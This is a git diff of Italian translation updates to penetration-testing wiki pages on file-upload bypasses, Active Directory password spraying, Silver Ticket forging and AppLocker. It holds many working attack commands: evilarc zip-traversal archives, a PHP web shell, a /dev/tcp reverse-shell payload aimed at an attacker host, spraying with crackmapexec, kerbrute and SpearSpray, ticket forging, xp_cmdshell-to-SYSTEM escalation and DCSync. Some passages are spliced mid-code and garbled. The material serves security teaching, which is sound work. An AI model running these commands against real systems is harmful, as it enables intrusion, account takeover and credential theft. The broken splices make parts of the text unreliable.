malevoli, il supporto alla compressione gerarchica e le capacità di directory traversal del ZIP archive format possono essere sfruttati. Questo permette agli attaccanti di bypassare le restrizioni ed evadere le directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione target. +La creazione inattesa di file in directory durante la decompressione è un problema significativo. Nonostante le ipotesi iniziali che questa configurazione potesse proteggere dall'esecuzione di comandi a livello OS tramite upload di file malevoli, il supporto gerarchico della compressione e le capacità di directory traversal del formato di archivio ZIP possono essere sfruttate. Questo permette agli attaccanti di aggirare le restrizioni e uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione target. Un exploit automatizzato per creare tali file è disponibile su [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere usata come mostrato: ```python @@ -235,9 +235,9 @@ python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Inoltre, il **symlink trick with evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo garantisce che evilarc non incontri errori durante il suo funzionamento. +Inoltre, l'**symlink trick with evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovresti creare un symlink a quel file nel tuo sistema. Questo garantisce che evilarc non incontri errori durante la sua operazione. -Di seguito un esempio di codice Python utilizzato per creare un zip file malevolo: +Di seguito è riportato un esempio di codice Python usato per creare un file zip malevolo: ```python #!/usr/bin/python import zipfile @@ -259,7 +259,7 @@ create_zip() Per maggiori dettagli **consulta il post originale su**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creazione di una PHP Shell**: Il codice PHP viene scritto per eseguire comandi passati tramite la variabile `$_REQUEST`. +1. **Creating a PHP Shell**: Viene scritto codice PHP per eseguire comandi passati tramite la variabile `$_REQUEST`. ```php & /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## Embedding PHP Shell on PNG +## Incorporare PHP Shell in PNG -Incorporare una PHP shell nel chunk IDAT di un file PNG può bypassare efficacemente alcune operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, essendo comunemente usate per ridimensionare e ricampionare le immagini, rispettivamente. La capacità della PHP shell incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso. +Incorporare una PHP shell nel chunk IDAT di un file PNG può bypassare efficacemente alcune operazioni di image processing. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, essendo comunemente usate rispettivamente per il ridimensionamento e il resampling delle immagini. La capacità della PHP shell incorporata di rimanere inalterata da queste operazioni rappresenta un vantaggio significativo in alcuni casi d'uso. -Un'esplorazione dettagliata di questa tecnica, inclusa la metodologia e le potenziali applicazioni, è fornita nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione approfondita del processo e delle sue implicazioni. +Una esplorazione dettagliata di questa tecnica, inclusa la metodologia e le potenziali applicazioni, è disponibile nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni. -Ulteriori informazioni in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) +More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## Polyglot Files +## File Polyglot -I Polyglot files fungono da strumento unico nella sicurezza informatica, agendo come camaleonti che possono validamente esistere in più formati di file contemporaneamente. Un esempio interessante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF sia come RAR archive. Questi file non si limitano a questa coppia; combinazioni come GIF e JS o PPT e JS sono anch'esse possibili. +I file polyglot fungono da strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio interessante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Questi file non sono limitati a questa coppia; sono possibili anche combinazioni come GIF e JS o PPT e JS. -L'utilità principale dei polyglot files risiede nella loro capacità di eludere misure di sicurezza che filtrano i file in base al tipo. Nella pratica comune di molte applicazioni si permette solo l'upload di certi tipi di file—come JPEG, GIF o DOC—per mitigare il rischio rappresentato da formati potenzialmente dannosi (es. JS, PHP o Phar). Tuttavia, un polyglot, conformandosi ai criteri strutturali di più tipi di file, può furtivamente aggirare queste restrizioni. +L'utilità principale dei polyglot risiede nella loro capacità di eludere misure di sicurezza che filtrano i file in base al tipo. Una pratica comune in molte applicazioni consiste nel permettere solo determinati tipi di file per l'upload — come JPEG, GIF, o DOC — per mitigare il rischio posto da formati potenzialmente dannosi (es. JS, PHP, o Phar). Tuttavia, un polyglot, conformandosi ai criteri strutturali di più tipi di file, può aggirare furtivamente queste restrizioni. -Nonostante la loro adattabilità, i polyglot incontrano limitazioni. Per esempio, mentre un polyglot potrebbe incarnare simultaneamente un file PHAR (PHp ARchive) e un JPEG, il successo del suo upload potrebbe dipendere dalle politiche sulle estensioni del sistema. Se il sistema è rigoroso sulle estensioni consentite, la mera dualità strutturale di un polyglot potrebbe non essere sufficiente a garantirne l'upload. +Nonostante la loro adattabilità, i polyglot incontrano dei limiti. Per esempio, mentre un polyglot potrebbe incarnare simultaneamente un file PHAR (PHp ARchive) e un JPEG, il successo del suo upload potrebbe dipendere dalle policy della piattaforma riguardo alle estensioni dei file. Se il sistema è rigoroso sulle estensioni consentite, la semplice dualità strutturale di un polyglot potrebbe non essere sufficiente a garantire l'upload. -Ulteriori informazioni in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) +More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### Upload valid JSONs like if it was PDF +### Caricare JSON validi come se fossero PDF -Come evitare il rilevamento del tipo di file caricando un file JSON valido anche se non consentito, falsificando un file PDF (tecniche da **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Come evitare il rilevamento del tipo di file caricando un file JSON valido anche se non consentito, fingendo un file PDF (tecniche tratte da **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: Finché i magic bytes `%PDF` sono nei primi 1024 byte è valido (vedi esempio nel post) -- **`pdflib` library**: Aggiungi un falso formato PDF all'interno di un campo del JSON in modo che la library lo interpreti come un PDF (vedi esempio nel post) -- **`file` binary**: Può leggere fino a 1048576 byte da un file. Crea un JSON più grande di tale soglia in modo che non riesca a parseare il contenuto come JSON e poi, all'interno del JSON, inserisci la parte iniziale di un vero PDF e lo considererà un PDF +- **`mmmagic` library**: As long as the `%PDF` magic bytes are in the first 1024 bytes it’s valid (get example from post) +- **`pdflib` library**: Add a fake PDF format inside a filed of the JSON so the library thinks it’s a pdf (get example from post) +- **`file` binary**: It can read up to 1048576 bytes from a file. Just create a JSON bigger than that so it cannot parse the content as a json and then inside the JSON put the initial part of a real PDF and it’ll think it’s a PDF -## References +## Riferimenti - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md index e121c2194..f37cbf1ca 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -2,6 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -**Consulta l'ottimo articolo di:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) +**Consulta l'ottimo articolo:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index e8f381cdc..10adee257 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Una volta che hai trovato diversi **valid usernames** puoi provare le più **common passwords** (tieni presente la password policy dell'ambiente) con ciascuno degli utenti scoperti.\ -Per **default** la **minimum password length** è **7**. +Una volta che hai trovato diversi **valid usernames**, puoi provare le **common passwords** più diffuse (tieni presente la password policy dell'ambiente) con ciascuno degli utenti scoperti. +Per impostazione predefinita la lunghezza minima della **password** è **7**. Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Nota che potresti **could lockout some accounts if you try several wrong passwords** (di default più di 10). +Nota che potresti bloccare alcuni account se provi diverse **wrong passwords** (di default più di 10). -### Get password policy +### Ottieni la password policy -Se hai some user credentials o una shell come domain user puoi **get the password policy with**: +Se hai delle credenziali utente o una shell come domain user puoi **ottenere la password policy con**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,9 +31,9 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Sfruttamento da Linux (o tutti) +### Exploitation da Linux (o tutti) -- Utilizzando **crackmapexec:** +- Usando **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) @@ -47,11 +47,11 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` -- [**spray**](https://github.com/Greenwolf/Spray) _**(puoi indicare il numero di tentativi per evitare lockouts):**_ +- [**spray**](https://github.com/Greenwolf/Spray) _**(puoi indicare il numero di tentativi per evitare blocchi):**_ ```bash spray.sh -smb ``` -- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RACCOMANDATO, A VOLTE NON FUNZIONA +- Usare [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RACCOMANDATO, A VOLTE NON FUNZIONA ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt @@ -69,7 +69,7 @@ done ``` #### Da Windows -- Con [Rubeus](https://github.com/Zer1t0/Rubeus) versione con brute module: +- Con la versione di [Rubeus](https://github.com/Zer1t0/Rubeus) con il modulo brute: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Può generare utenti dal dominio per impostazione predefinita e otterrà la password policy dal dominio e limiterà i tentativi in base a questa): +- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Può generare utenti dal dominio per impostazione predefinita e ottiene i criteri delle password dal dominio, limitando i tentativi in base a essi): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -85,12 +85,12 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` Invoke-SprayEmptyPassword ``` -### Identificare e prendere il controllo degli account "Password must change at next logon" (SAMR) +### Identificare e Prendere il Controllo degli Account "Password must change at next logon" (SAMR) -Una tecnica a basso impatto consiste nell'usare password spraying con una password benign/empty e rilevare gli account che restituiscono STATUS_PASSWORD_MUST_CHANGE, il che indica che la password è stata forzatamente scaduta e può essere cambiata senza conoscere quella precedente. +Una tecnica a basso impatto è sprayare una benign/empty password e intercettare gli account che restituiscono STATUS_PASSWORD_MUST_CHANGE, il che indica che la password è stata forzatamente scaduta e può essere cambiata senza conoscere quella precedente. Workflow: -- Enumerare gli utenti (RID brute via SAMR) per creare la lista degli obiettivi: +- Enumerare gli utenti (RID brute via SAMR) per costruire la lista di target: {{#ref}} ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -99,12 +99,12 @@ Workflow: # NetExec (null/guest) + RID brute to harvest users netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt ``` -- Esegui un password-spray con una password vuota e continua sui hits per catturare account che devono cambiare al prossimo logon: +- Esegui password spraying con una password vuota e continua sui risultati per catturare gli account che devono cambiare la password al prossimo accesso: ```bash # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results netexec smb -u users.txt -p '' --continue-on-success ``` -- Per ogni hit, cambia la password tramite SAMR con il modulo NetExec (non è necessaria la vecchia password quando "must change" è impostato): +- Per ogni hit, cambia la password via SAMR usando il modulo di NetExec (non è necessaria la password vecchia quando "must change" è impostato): ```bash # Strong complexity to satisfy policy env NEWPASS='P@ssw0rd!2025#' ; \ @@ -114,26 +114,26 @@ netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" netexec smb -u -p "$NEWPASS" --pass-pol ``` Note operative: -- Assicurati che l'orologio del tuo host sia sincronizzato con il DC prima di effettuare operazioni basate su Kerberos: `sudo ntpdate `. -- Un [+] senza (Pwn3d!) in alcuni moduli (es. RDP/WinRM) significa che le creds sono valide ma l'account non ha i diritti di accesso interattivo. +- Assicurati che l'orologio della tua macchina sia sincronizzato con il DC prima delle operazioni basate su Kerberos: `sudo ntpdate `. +- Un [+] senza (Pwn3d!) in alcuni moduli (ad es., RDP/WinRM) significa che le creds sono valide ma l'account non ha i diritti di accesso interattivo. ## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` -### Kerberos pre-auth spraying con targeting LDAP e throttling consapevole delle PSO (SpearSpray) +### Kerberos pre-auth spraying con targeting LDAP e throttling consapevole di PSO (SpearSpray) -Il spraying basato su Kerberos pre-auth riduce il rumore rispetto ai tentativi di bind SMB/NTLM/LDAP e si allinea meglio alle policy di lockout di AD. SpearSpray combina targeting guidato da LDAP, un motore di pattern e la conoscenza delle policy (domain policy + PSOs + badPwdCount buffer) per spruzzare in modo preciso e sicuro. Può anche taggare i principal compromessi in Neo4j per il pathing di BloodHound. +Lo spraying basato su Kerberos pre-auth riduce il rumore rispetto ai tentativi di bind SMB/NTLM/LDAP e si allinea meglio con le policy di lockout di AD. SpearSpray combina il targeting guidato da LDAP, un motore di pattern e la consapevolezza delle policy (domain policy + PSOs + badPwdCount buffer) per eseguire lo spray in modo preciso e sicuro. Può anche taggare i principal compromessi in Neo4j per il pathing di BloodHound. Concetti chiave: -- Scoperta utenti via LDAP con paging e supporto LDAPS, opzionalmente usando filtri LDAP personalizzati. -- Domain lockout policy + filtraggio consapevole delle PSO per lasciare un buffer configurabile di tentativi (soglia) ed evitare di bloccare gli utenti. -- Kerberos pre-auth validation usando fast gssapi bindings (genera 4768/4771 sui DCs invece di 4625). -- Generazione password basata su pattern, per utente, utilizzando variabili come nomi e valori temporali derivati dal pwdLastSet di ciascun utente. -- Controllo del throughput con threads, jitter e max requests per second. +- Discovery utenti LDAP con paging e supporto LDAPS, opzionalmente usando filtri LDAP personalizzati. +- Domain lockout policy + PSO-aware filtering per lasciare un buffer configurabile di tentativi (soglia) e evitare di bloccare gli utenti. +- Validazione Kerberos pre-auth usando binding gssapi veloci (genera 4768/4771 sui DC invece di 4625). +- Generazione password basata su pattern, per utente, usando variabili come nomi e valori temporali derivati dal pwdLastSet di ciascun utente. +- Controllo del throughput con threads, jitter e massimo di richieste al secondo. - Integrazione opzionale con Neo4j per marcare gli utenti compromessi per BloodHound. -Uso e scoperta di base: +Uso e discovery di base: ```bash # List available pattern variables spearspray -l @@ -144,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # LDAPS (TCP/636) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl ``` -Targeting e controllo dei pattern: +Selezione degli obiettivi e controllo dei pattern: ```bash # Custom LDAP filter (e.g., target specific OU/attributes) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ @@ -153,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME ``` -Controlli di Stealth e sicurezza: +Controlli di stealth e sicurezza: ```bash # Control concurrency, add jitter, and cap request rate spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 @@ -180,23 +180,23 @@ Available variables include: - Composition helpers and org token: {separator}, {suffix}, {extra} Operational notes: -- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info. -- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe. -- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in. +- Privilegiare le query al PDC-emulator con -dc per leggere il badPwdCount più autorevole e le informazioni relative alle policy. +- I reset di badPwdCount vengono attivati al tentativo successivo dopo la finestra di osservazione; usa soglia e temporizzazione per rimanere al sicuro. +- I tentativi di pre-auth Kerberos si manifestano come 4768/4771 nella telemetry del DC; usa jitter e rate-limiting per mimetizzarti. -> Suggerimento: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. +> Suggerimento: la dimensione predefinita della pagina LDAP di SpearSpray è 200; regola con -lps se necessario. ## Outlook Web Access -Esistono più strumenti per p**assword spraying outlook**. +Esistono diversi strumenti per p**assword spraying outlook**. - Con [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) - con [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) -- Con [Ruler](https://github.com/sensepost/ruler) (affidabile!) -- Con [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) -- Con [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) +- With [Ruler](https://github.com/sensepost/ruler) (affidabile!) +- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) +- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Per usare uno di questi strumenti, ti serve una lista di utenti e una password / una piccola lista di password per il password spraying. +Per usare uno di questi strumenti, ti serve una lista di utenti e una password — o una piccola lista di password — da usare per il password spraying. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index 4bffc7f26..55d80e67b 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -6,14 +6,15 @@ ## Silver ticket -L'attacco **Silver Ticket** comporta lo sfruttamento dei ticket di servizio negli ambienti Active Directory (AD). Questo metodo si basa sull'**acquisizione dell'NTLM hash di un account di servizio**, come un account computer, per forgiare un Ticket Granting Service (TGS) ticket. Con questo ticket forgiato, un attaccante può accedere a servizi specifici sulla rete, **impersonando qualsiasi utente**, generalmente puntando a privilegi amministrativi. Si sottolinea che l'uso di AES keys per forgiare i ticket è più sicuro e meno rilevabile. +L'attacco **Silver Ticket** consiste nello sfruttamento dei service ticket negli ambienti Active Directory (AD). Questo metodo si basa sul **recupero dell'hash NTLM di un account di servizio**, ad esempio un account computer, per forgiare un Ticket Granting Service (TGS). Con questo ticket contraffatto, un attaccante può accedere a servizi specifici sulla rete, **assumendo l'identità di qualsiasi utente**, solitamente con l'obiettivo di ottenere privilegi amministrativi. Si sottolinea che l'uso di chiavi AES per forgiare i ticket è più sicuro e meno rilevabile. > [!WARNING] -> I Silver Tickets sono meno rilevabili dei Golden Tickets perché richiedono solo l'**hash dell'account di servizio**, non l'account krbtgt. Tuttavia, sono limitati al servizio specifico che prendono di mira. Inoltre, basta compromettere la password di un utente: se comprometti la **password di un account con un SPN** puoi usare quella password per creare un Silver Ticket e impersonare qualsiasi utente per quel servizio. +> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user. +> Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service. -Per la creazione dei ticket, vengono impiegati strumenti diversi in base al sistema operativo: +Per la creazione dei ticket, vengono impiegati strumenti diversi a seconda del sistema operativo: -### On Linux +### Su Linux ```bash python ticketer.py -nthash -domain-sid -domain -spn export KRB5CCNAME=/root/impacket-examples/.ccache @@ -36,11 +37,11 @@ mimikatz.exe "kerberos::ptt " # Obtain a shell .\PsExec.exe -accepteula \\ cmd ``` -### Esempio: MSSQL service (MSSQLSvc) + Potato to SYSTEM +Il servizio CIFS è evidenziato come un obiettivo comune per accedere al file system della vittima, ma altri servizi come HOST e RPCSS possono anche essere sfruttati per task e query WMI. -Il servizio CIFS è evidenziato come un bersaglio comune per accedere al file system della vittima, ma altri servizi come HOST e RPCSS possono anche essere sfruttati per task e query WMI. +### Example: MSSQL service (MSSQLSvc) + Potato to SYSTEM -Se possiedi l'hash NTLM (o la chiave AES) di un account di servizio SQL (es. sqlsvc) puoi forgiare un TGS per il MSSQL SPN e impersonare qualsiasi utente verso il servizio SQL. Da lì, abilita xp_cmdshell per eseguire comandi come l'account di servizio SQL. Se quel token ha SeImpersonatePrivilege, esegui una escalation con Potato per ottenere SYSTEM. +Se hai l'hash NTLM (o la chiave AES) di un account di servizio SQL (p.es., sqlsvc) puoi forgiare un TGS per il MSSQL SPN e impersonare qualsiasi utente verso il servizio SQL. Da lì, abilita xp_cmdshell per eseguire comandi come l'account di servizio SQL. Se quel token ha SeImpersonatePrivilege, chain a Potato per elevare a SYSTEM. ```bash # Forge a silver ticket for MSSQLSvc (RC4/NTLM example) python ticketer.py -nthash -domain-sid -domain \ @@ -51,14 +52,14 @@ export KRB5CCNAME=$PWD/administrator.ccache impacket-mssqlclient -k -no-pass /administrator@:1433 \ -q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'" ``` -- Se il contesto risultante ha SeImpersonatePrivilege (spesso vero per service accounts), usa una variante di Potato per ottenere SYSTEM: +- Se il contesto risultante ha SeImpersonatePrivilege (spesso vero per gli account di servizio), usa una variante di Potato per ottenere SYSTEM: ```bash # On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato PrintSpoofer.exe -c "cmd /c whoami" # or GodPotato -cmd "cmd /c whoami" ``` -Più dettagli sull'abuso di MSSQL e l'abilitazione di xp_cmdshell: +Maggiori dettagli sull'abuso di MSSQL e l'abilitazione di xp_cmdshell: {{#ref}} abusing-ad-mssql.md @@ -75,42 +76,41 @@ Panoramica delle tecniche Potato: | Tipo di servizio | Service Silver Tickets | | ------------------------------------------ | -------------------------------------------------------------------------- | | WMI |

HOST

RPCSS

| -| PowerShell Remoting |

HOST

HTTP

Depending on OS also:

WSMAN

RPCSS

| -| WinRM |

HOST

HTTP

In some occasions you can just ask for: WINRM

| -| Scheduled Tasks | HOST | -| Windows File Share, also psexec | CIFS | -| LDAP operations, included DCSync | LDAP | -| Windows Remote Server Administration Tools |

RPCSS

LDAP

CIFS

| +| PowerShell Remoting |

HOST

HTTP

A seconda del sistema operativo anche:

WSMAN

RPCSS

| +| WinRM |

HOST

HTTP

In alcune occasioni puoi chiedere semplicemente: WINRM

| +| Attività pianificate | HOST | +| Condivisione file Windows, anche psexec | CIFS | +| Operazioni LDAP, incluso DCSync | LDAP | +| Strumenti di amministrazione remota server Windows |

RPCSS

LDAP

CIFS

| | Golden Tickets | krbtgt | Usando **Rubeus** puoi **richiedere tutti** questi ticket usando il parametro: - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` -### Event ID dei Silver tickets +### ID evento dei Silver tickets - 4624: Accesso account -- 4634: Chiusura sessione account -- 4672: Accesso amministratore +- 4634: Disconnessione account +- 4672: Accesso admin ## Persistenza -Per evitare che le macchine ruotino la loro password ogni 30 giorni impostare `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` oppure puoi impostare `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` su un valore maggiore di 30 giorni per indicare il periodo di rotazione quando la password della macchina dovrebbe essere ruotata. +Per evitare che le macchine ruotino la loro password ogni 30 giorni imposta `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` oppure puoi impostare `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` su un valore maggiore di 30 giorni per indicare il periodo di rotazione in cui la password della macchina dovrebbe essere aggiornata. ## Abuso dei Service tickets -Negli esempi seguenti immaginiamo che il ticket sia stato ottenuto impersonando l'account administrator. +Nei seguenti esempi immaginiamo che il ticket sia ottenuto impersonando l'account Administrator. ### CIFS -Con questo ticket potrai accedere alle cartelle `C$` e `ADMIN$` via **SMB** (se esposte) e copiare file su una parte del filesystem remoto semplicemente facendo qualcosa del tipo: +Con questo ticket sarai in grado di accedere alle cartelle `C$` e `ADMIN$` via **SMB** (se esposte) e copiare file in una parte del filesystem remoto semplicemente facendo qualcosa del tipo: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` -Sarai anche in grado di ottenere una shell sull'host o eseguire comandi arbitrari usando **psexec**: - +Sarai anche in grado di ottenere una shell all'interno dell'host o eseguire comandi arbitrari usando **psexec**: {{#ref}} ../lateral-movement/psexec-and-winexec.md @@ -132,7 +132,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS -Con questi tickets puoi **eseguire WMI sul sistema della vittima**: +Con questi ticket puoi **eseguire WMI sul sistema della vittima**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local @@ -151,11 +151,11 @@ Trova **maggiori informazioni su wmiexec** nella pagina seguente: ### HOST + WSMAN (WINRM) -Con accesso winrm a un computer puoi **accedervi** e persino ottenere una PowerShell: +Con accesso winrm su un computer puoi **accedervi** e persino ottenere una PowerShell: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` -Consulta la pagina seguente per scoprire **altri modi per connetterti a un host remoto usando winrm**: +Check the following page to learn **more ways to connect with a remote host using winrm**: {{#ref}} @@ -167,11 +167,11 @@ Consulta la pagina seguente per scoprire **altri modi per connetterti a un host ### LDAP -Con questo privilegio puoi dump the DC database using **DCSync**: +Con questo privilegio puoi eseguire il dump del database del DC usando **DCSync**: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` -**Per saperne di più su DCSync** nella seguente pagina: +**Scopri di più su DCSync** nella seguente pagina: {{#ref}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index 74fad4fc6..41a96ffc4 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -1,13 +1,13 @@ -# Controlli di Sicurezza Windows +# Controlli di sicurezza di Windows {{#include ../../banners/hacktricks-training.md}} -## Criteri AppLocker +## Politica AppLocker -Un application whitelist è un elenco di software o eseguibili approvati che sono autorizzati a essere presenti ed eseguiti su un sistema. L'obiettivo è proteggere l'ambiente da malware dannosi e software non approvato che non è allineato alle specifiche esigenze di business di un'organizzazione. +Una application whitelist è una lista di applicazioni software o eseguibili approvati che sono autorizzati a essere presenti ed eseguiti su un sistema. Lo scopo è proteggere l'ambiente da malware dannoso e software non approvato che non è in linea con le specifiche esigenze aziendali di un'organizzazione. -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) è la **soluzione di application whitelisting** di Microsoft e dà agli amministratori di sistema il controllo su **quali applicazioni e file gli utenti possono eseguire**. Fornisce **controllo granulare** su eseguibili, script, file di installazione di Windows, DLL, packaged apps e packed app installers.\ -È comune che le organizzazioni **blocchino cmd.exe e PowerShell.exe** e l'accesso in scrittura a determinate directory, **ma tutto questo può essere bypassato**. +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) è la **soluzione di application whitelisting** di Microsoft e offre agli amministratori di sistema il controllo su **quali applicazioni e file gli utenti possono eseguire**. Fornisce un **controllo granulare** su eseguibili, script, file di installazione di Windows, DLL, packaged apps e packed app installers.\ +È comune per le organizzazioni **bloccare cmd.exe e PowerShell.exe** e l'accesso in scrittura ad alcune directory, 